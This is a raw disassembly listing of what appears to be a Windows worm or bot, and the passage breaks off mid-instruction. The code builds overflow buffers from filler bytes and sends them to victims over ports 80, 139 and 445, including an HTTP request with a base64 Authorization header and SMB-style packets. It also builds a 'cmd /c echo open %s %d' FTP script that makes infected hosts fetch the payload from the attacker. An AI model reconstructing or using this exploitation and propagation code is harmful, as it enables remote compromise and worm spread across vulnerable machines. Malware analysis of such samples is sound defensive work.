; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CCE2 proc near ; CODE XREF: sub_40CD16+14p ; sub_40CD33+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40CB6E mov ecx, esi call sub_40CBC3 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CCE2 endp ; =============== S U B R O U T I N E ======================================= sub_40CD16 proc near ; CODE XREF: sub_40CD9E+F0p ; sub_40CD9E+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41B9C0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CCE2 pop esi retn 4 sub_40CD16 endp ; =============== S U B R O U T I N E ======================================= sub_40CD33 proc near ; CODE XREF: sub_40CD7F+Bp ; sub_40CD9E+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CCE2 retn 8 sub_40CD33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD43 proc near ; CODE XREF: sub_40CD7F+16p ; sub_40CD9E+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40CBDC test al, al jz short loc_40CD7C push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42CC80 call sub_40CB6E mov ecx, esi call sub_40CBC3 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CD7C: ; CODE XREF: sub_40CD43+Fj pop esi leave retn sub_40CD43 endp ; =============== S U B R O U T I N E ======================================= sub_40CD7F proc near ; CODE XREF: sub_40CD9E+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CD33 test al, al jz short loc_40CD9A mov ecx, esi call sub_40CD43 loc_40CD9A: ; CODE XREF: sub_40CD7F+12j pop esi retn 8 sub_40CD7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD9E proc near ; CODE XREF: ___:0040D625p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40CB2A mov edi, 408h cmp [ebp+arg_8], edi jg loc_40D0F2 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40D0F2 push esi lea ecx, [ebp+var_30] call sub_40CB2A lea ecx, [ebp+var_20] call sub_40CB2A lea ecx, [ebp+var_50] call sub_40CB2A lea ecx, [ebp+var_18] call sub_40CB2A lea ecx, [ebp+var_40] call sub_40CB2A lea ecx, [ebp+var_38] call sub_40CB2A lea ecx, [ebp+var_28] call sub_40CB2A push 4 push offset dword_432030 lea ecx, [ebp+var_30] call sub_40CCE2 push 3 push offset dword_432038 lea ecx, [ebp+var_30] call sub_40CCE2 lea ecx, [ebp+var_30] call sub_40CC68 lea ecx, [ebp+var_30] call sub_40CD43 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41BF70 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "░B░B░B░B" call sub_40CCE2 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CCE2 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CCE2 lea ecx, [ebp+var_20] call sub_40CC68 push offset loc_4323B4 lea ecx, [ebp+var_50] call sub_40CD16 lea ecx, [ebp+var_50] call sub_40CC68 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40CB34 lea ecx, [ebp+var_58] call sub_40CC68 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CD7F lea ecx, [ebp+var_58] call sub_40CBC3 push esi lea eax, [ebp+var_858] push 43h push eax call sub_41BF70 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CD16 push 4 push offset dword_43203C lea ecx, [ebp+var_18] call sub_40CCE2 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CCE2 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CCE2 lea ecx, [ebp+var_18] call sub_40CC68 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CD33 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CD33 lea ecx, [ebp+var_40] call sub_40CD43 lea ecx, [ebp+var_18] call sub_40CBC3 lea ecx, [ebp+var_50] call sub_40CBC3 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CD33 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CD33 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CD33 lea ecx, [ebp+var_38] call sub_40CD43 lea ecx, [ebp+var_20] call sub_40CBC3 lea ecx, [ebp+var_30] call sub_40CBC3 lea ecx, [ebp+var_40] call sub_40CBC3 push esi lea eax, [ebp+var_858] push 41h push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CCE2 lea ecx, [ebp+var_28] call sub_40CC68 push 2 push offset dword_4323A8 lea ecx, [ebp+var_28] call sub_40CCE2 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CD33 lea ecx, [ebp+var_28] call sub_40CD43 lea ecx, [ebp+var_38] call sub_40CBC3 lea ecx, [ebp+var_10] call sub_40CB2A lea ecx, [ebp+var_8] call sub_40CB2A push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CD33 lea ecx, [ebp+var_10] call sub_40CBDC lea ecx, [ebp+var_28] call sub_40CBC3 push offset dword_4323A4 lea ecx, [ebp+var_8] call sub_40CD16 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CD33 lea ecx, [ebp+var_8] call sub_40CBDC lea ecx, [ebp+var_10] call sub_40CBC3 push offset dword_4323A0 lea ecx, [ebp+var_10] call sub_40CD16 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CD33 lea ecx, [ebp+var_10] call sub_40CBDC lea ecx, [ebp+var_8] call sub_40CBC3 push offset dword_432394 lea ecx, [ebp+var_8] call sub_40CD16 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CD33 lea ecx, [ebp+var_8] call sub_40CBDC lea ecx, [ebp+var_10] call sub_40CBC3 push (offset loc_43238F+1) lea ecx, [ebp+var_48] call sub_40CD16 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CD33 lea ecx, [ebp+var_8] call sub_40CBC3 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40D100 ; --------------------------------------------------------------------------- loc_40D0F2: ; CODE XREF: sub_40CD9E+1Bj ; sub_40CD9E+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40D100: ; CODE XREF: sub_40CD9E+352j pop edi pop ebx leave retn sub_40CD9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D104 proc near ; CODE XREF: sub_40D1C8+A1p ; sub_40D1C8+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_40D16B lea eax, [ebp+var_10C] push eax push esi call sub_426350 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40D16F loc_40D16B: ; CODE XREF: sub_40D104+54j xor eax, eax jmp short loc_40D17F ; --------------------------------------------------------------------------- loc_40D16F: ; CODE XREF: sub_40D104+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CB9EC loc_40D17F: ; CODE XREF: sub_40D104+69j pop edi pop esi leave retn sub_40D104 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D183 proc near ; CODE XREF: sub_40D1C8+81p ; sub_40D1C8+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CB9D0 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CBA24 cmp eax, 4 jz short loc_40D1AD xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D1AD: ; CODE XREF: sub_40D183+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CBA24 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40D183 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D1C8 proc near ; CODE XREF: sub_40D2A2+48p ; ___:0040D716p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41BEB5 mov esi, eax pop ecx test esi, esi jnz short loc_40D1F1 xor al, al jmp loc_40D29D ; --------------------------------------------------------------------------- loc_40D1F1: ; CODE XREF: sub_40D1C8+20j push ebx push 0 push esi call sub_41BF70 push 2Fh push offset dword_4320CC push esi call sub_41CD20 push 8 lea eax, [esi+31h] push offset dword_4320FC push eax mov [esi+2Fh], di call sub_41CD20 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41CD20 push 6 add ebx, edi push offset dword_4CE6EC push ebx call sub_41CD20 mov ebx, [ebp+arg_0] push 85h push offset dword_432044 push ebx call sub_40D183 add esp, 48h test al, al jnz short loc_40D259 loc_40D255: ; CODE XREF: sub_40D1C8+B5j xor bl, bl jmp short loc_40D294 ; --------------------------------------------------------------------------- loc_40D259: ; CODE XREF: sub_40D1C8+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D104 push [ebp+var_4] push esi push ebx call sub_40D183 add esp, 1Ch test al, al jz short loc_40D255 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D104 add esp, 10h mov bl, 1 loc_40D294: ; CODE XREF: sub_40D1C8+8Fj push esi call sub_41BA91 pop ecx mov al, bl loc_40D29D: ; CODE XREF: sub_40D1C8+24j pop edi pop esi pop ebx leave retn sub_40D1C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2A2 proc near ; CODE XREF: ___:0040D6FCp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_432108 push [ebp+arg_0] call near ptr 71AB1AF4h nop cmp eax, 48h jnz short loc_40D2DD push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40D104 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D2DD cmp [ebp+var_20], 82h jz short loc_40D2E1 loc_40D2DD: ; CODE XREF: sub_40D2A2+1Bj ; sub_40D2A2+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D2E1: ; CODE XREF: sub_40D2A2+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D1C8 add esp, 0Ch leave retn sub_40D2A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2F4 proc near ; CODE XREF: sub_40D340+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427670 call sub_41D174 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427668 fstp [esp+10h+var_10] call sub_41D055 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41D174 inc eax leave retn sub_40D2F4 endp ; =============== S U B R O U T I N E ======================================= sub_40D340 proc near ; CODE XREF: sub_40D4E2+24p var_40 = qword ptr -40h mov eax, offset loc_426AA7 call sub_41D640 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D977 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D2F4 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D382 push edi push eax lea ecx, [ebp-38h] call sub_40D8F2 loc_40D382: ; CODE XREF: sub_40D340+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D49F mov ebx, [ebp+10h] loc_40D391: ; CODE XREF: sub_40D340+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D39B push 3 jmp short loc_40D3AD ; --------------------------------------------------------------------------- loc_40D39B: ; CODE XREF: sub_40D340+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D3A5 push 2 jmp short loc_40D3AD ; --------------------------------------------------------------------------- loc_40D3A5: ; CODE XREF: sub_40D340+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D3AE push 1 loc_40D3AD: ; CODE XREF: sub_40D340+59j ; sub_40D340+63j pop ebx loc_40D3AE: ; CODE XREF: sub_40D340+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_427680 fstp [esp+40h+var_40] call sub_41D19B pop ecx pop ecx call sub_41D174 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D3ED mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D3ED: ; CODE XREF: sub_40D340+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D45B add [ebp-18h], eax loc_40D43F: ; CODE XREF: sub_40D340+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_432154[eax] push eax push 1 call sub_40D774 inc esi cmp esi, [ebp-1Ch] jb short loc_40D43F loc_40D45B: ; CODE XREF: sub_40D340+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D479 push dword ptr [ebp+14h] call sub_41B9C0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D7CD mov [ebp-18h], edi loc_40D479: ; CODE XREF: sub_40D340+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D493 sub esi, [ebp-1Ch] loc_40D484: ; CODE XREF: sub_40D340+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D774 dec esi jnz short loc_40D484 loc_40D493: ; CODE XREF: sub_40D340+13Fj cmp [ebp+10h], edi ja loc_40D391 push 1 pop ebx loc_40D49F: ; CODE XREF: sub_40D340+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D977 push dword_427678 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D824 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D977 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D340 endp ; =============== S U B R O U T I N E ======================================= sub_40D4E2 proc near ; CODE XREF: ___:0040D6DFp mov eax, offset loc_426AC4 call sub_41D640 sub esp, 10h push ebx push esi push edi push offset byte_43DB88 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D340 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41BEB5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D52C xor bl, bl jmp short loc_40D570 ; --------------------------------------------------------------------------- loc_40D52C: ; CODE XREF: sub_40D4E2+44j mov ecx, [ebp-18h] mov eax, offset dword_427688 cmp ecx, ebx jnz short loc_40D53A mov ecx, eax loc_40D53A: ; CODE XREF: sub_40D4E2+54j cmp [ebp+18h], ebx jz short loc_40D542 mov eax, [ebp+18h] loc_40D542: ; CODE XREF: sub_40D4E2+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41C360 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CBA24 cmp eax, esi jz short loc_40D567 xor bl, bl jmp short loc_40D569 ; --------------------------------------------------------------------------- loc_40D567: ; CODE XREF: sub_40D4E2+7Fj mov bl, 1 loc_40D569: ; CODE XREF: sub_40D4E2+83j push edi call sub_41BA91 pop ecx loc_40D570: ; CODE XREF: sub_40D4E2+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D977 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D977 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D4E2 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_432300 push eax call sub_41CD20 add esp, 0Ch mov eax, offset byte_429108 push eax push eax movzx eax, word ptr dword_4CB710 push eax push dword ptr [ebp+8] call sub_40AA06 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41C360 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_432198 push eax call sub_40CD9E xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D63B xor eax, eax jmp loc_40D767 ; --------------------------------------------------------------------------- loc_40D63B: ; CODE XREF: ___:0040D632j mov [ebp-0Ch], esi loc_40D63E: ; CODE XREF: ___:0040D73Ej test esi, esi jnz loc_40D744 push 6 push 1 push 2 nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D72C xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CB9D4 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CBA14 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_40D721 cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D6E9 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D977 lea eax, [ebp+0Ch] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D9B3 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D4E2 add esp, 1Ch jmp short loc_40D71E ; --------------------------------------------------------------------------- loc_40D6E9: ; CODE XREF: ___:0040D6A7j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D703 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D2A2 jmp short loc_40D71B ; --------------------------------------------------------------------------- loc_40D703: ; CODE XREF: ___:0040D6F3j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D721 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D1C8 loc_40D71B: ; CODE XREF: ___:0040D701j add esp, 0Ch loc_40D71E: ; CODE XREF: ___:0040D6E7j movzx esi, al loc_40D721: ; CODE XREF: ___:0040D69Aj ; ___:0040D70Dj push ebx call dword_4CBA6C test esi, esi jnz short loc_40D737 loc_40D72C: ; CODE XREF: ___:0040D657j push 3E8h nop call near ptr 2680EBDh loc_40D737: ; CODE XREF: ___:0040D72Aj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D63E loc_40D744: ; CODE XREF: ___:0040D640j lea ecx, [ebp-8] call sub_40CBC3 test esi, esi jz short loc_40D765 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40D765: ; CODE XREF: ___:0040D74Ej mov eax, esi loc_40D767: ; CODE XREF: ___:0040D636j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A88 loc_40D76C: ; CODE XREF: sub_426A88+3j ; ___:00426AA1j ... push 1 call sub_40D977 retn ; END OF FUNCTION CHUNK FOR sub_426A88 ; =============== S U B R O U T I N E ======================================= sub_40D774 proc near ; CODE XREF: sub_40D340+110p ; sub_40D340+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427678 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D78E call sub_42629A loc_40D78E: ; CODE XREF: sub_40D774+13j test ebx, ebx jbe short loc_40D7C5 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D8F2 test al, al jz short loc_40D7C5 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41BF70 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D7C5: ; CODE XREF: sub_40D774+1Cj ; sub_40D774+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D774 endp ; =============== S U B R O U T I N E ======================================= sub_40D7CD proc near ; CODE XREF: sub_40D340+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427678 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D7E7 call sub_42629A loc_40D7E7: ; CODE XREF: sub_40D7CD+13j test ebx, ebx jbe short loc_40D81C mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D8F2 test al, al jz short loc_40D81C mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41CD20 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D81C: ; CODE XREF: sub_40D7CD+1Cj ; sub_40D7CD+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D7CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D824 proc near ; CODE XREF: sub_40D340+17Cp ; sub_4261B0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D83C call sub_426173 loc_40D83C: ; CODE XREF: sub_40D824+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D84E mov esi, [ebp+arg_8] loc_40D84E: ; CODE XREF: sub_40D824+25j cmp edi, ebx jnz short loc_40D870 push dword_427678 add esi, ecx mov ecx, edi push esi call sub_40D9E8 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D9E8 jmp short loc_40D8E9 ; --------------------------------------------------------------------------- loc_40D870: ; CODE XREF: sub_40D824+2Cj test esi, esi jbe short loc_40D8B3 cmp esi, eax jnz short loc_40D8B3 mov eax, [ebx+4] test eax, eax jnz short loc_40D884 mov eax, offset dword_427688 loc_40D884: ; CODE XREF: sub_40D824+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D8B3 push 1 mov ecx, edi call sub_40D977 mov eax, [ebx+4] test eax, eax jnz short loc_40D89F mov eax, offset dword_427688 loc_40D89F: ; CODE XREF: sub_40D824+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D8E9 ; --------------------------------------------------------------------------- loc_40D8B3: ; CODE XREF: sub_40D824+4Ej ; sub_40D824+52j ... push 1 push esi mov ecx, edi call sub_40D8F2 test al, al jz short loc_40D8E9 mov eax, [ebx+4] test eax, eax jnz short loc_40D8CD mov eax, offset dword_427688 loc_40D8CD: ; CODE XREF: sub_40D824+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41CD20 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D8E9: ; CODE XREF: sub_40D824+4Aj ; sub_40D824+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D824 endp ; =============== S U B R O U T I N E ======================================= sub_40D8F2 proc near ; CODE XREF: sub_40D340+3Dp ; sub_40D774+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D904 call sub_42629A loc_40D904: ; CODE XREF: sub_40D8F2+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D92D mov al, [ecx-1] cmp al, dl jz short loc_40D92D cmp al, 0FFh jz short loc_40D92D cmp edi, edx jnz short loc_40D968 dec al push edx mov [ecx-1], al loc_40D922: ; CODE XREF: sub_40D8F2+47j mov ecx, esi call sub_40D977 loc_40D929: ; CODE XREF: sub_40D8F2+4Bj ; sub_40D8F2+52j xor al, al jmp short loc_40D972 ; --------------------------------------------------------------------------- loc_40D92D: ; CODE XREF: sub_40D8F2+19j ; sub_40D8F2+20j ... cmp edi, edx jnz short loc_40D946 cmp [esp+8+arg_4], dl jz short loc_40D93B push 1 jmp short loc_40D922 ; --------------------------------------------------------------------------- loc_40D93B: ; CODE XREF: sub_40D8F2+43j cmp ecx, edx jz short loc_40D929 mov [esi+8], edx mov [ecx], dl jmp short loc_40D929 ; --------------------------------------------------------------------------- loc_40D946: ; CODE XREF: sub_40D8F2+3Dj cmp [esp+8+arg_4], dl jz short loc_40D963 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D958 cmp eax, edi jnb short loc_40D970 loc_40D958: ; CODE XREF: sub_40D8F2+60j push 1 mov ecx, esi call sub_40D977 jmp short loc_40D968 ; --------------------------------------------------------------------------- loc_40D963: ; CODE XREF: sub_40D8F2+58j cmp [esi+0Ch], edi jnb short loc_40D970 loc_40D968: ; CODE XREF: sub_40D8F2+28j ; sub_40D8F2+6Fj push edi mov ecx, esi call sub_40DA4F loc_40D970: ; CODE XREF: sub_40D8F2+64j ; sub_40D8F2+74j mov al, 1 loc_40D972: ; CODE XREF: sub_40D8F2+39j pop edi pop esi retn 8 sub_40D8F2 endp ; =============== S U B R O U T I N E ======================================= sub_40D977 proc near ; CODE XREF: sub_40D340+1Fp ; sub_40D340+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short 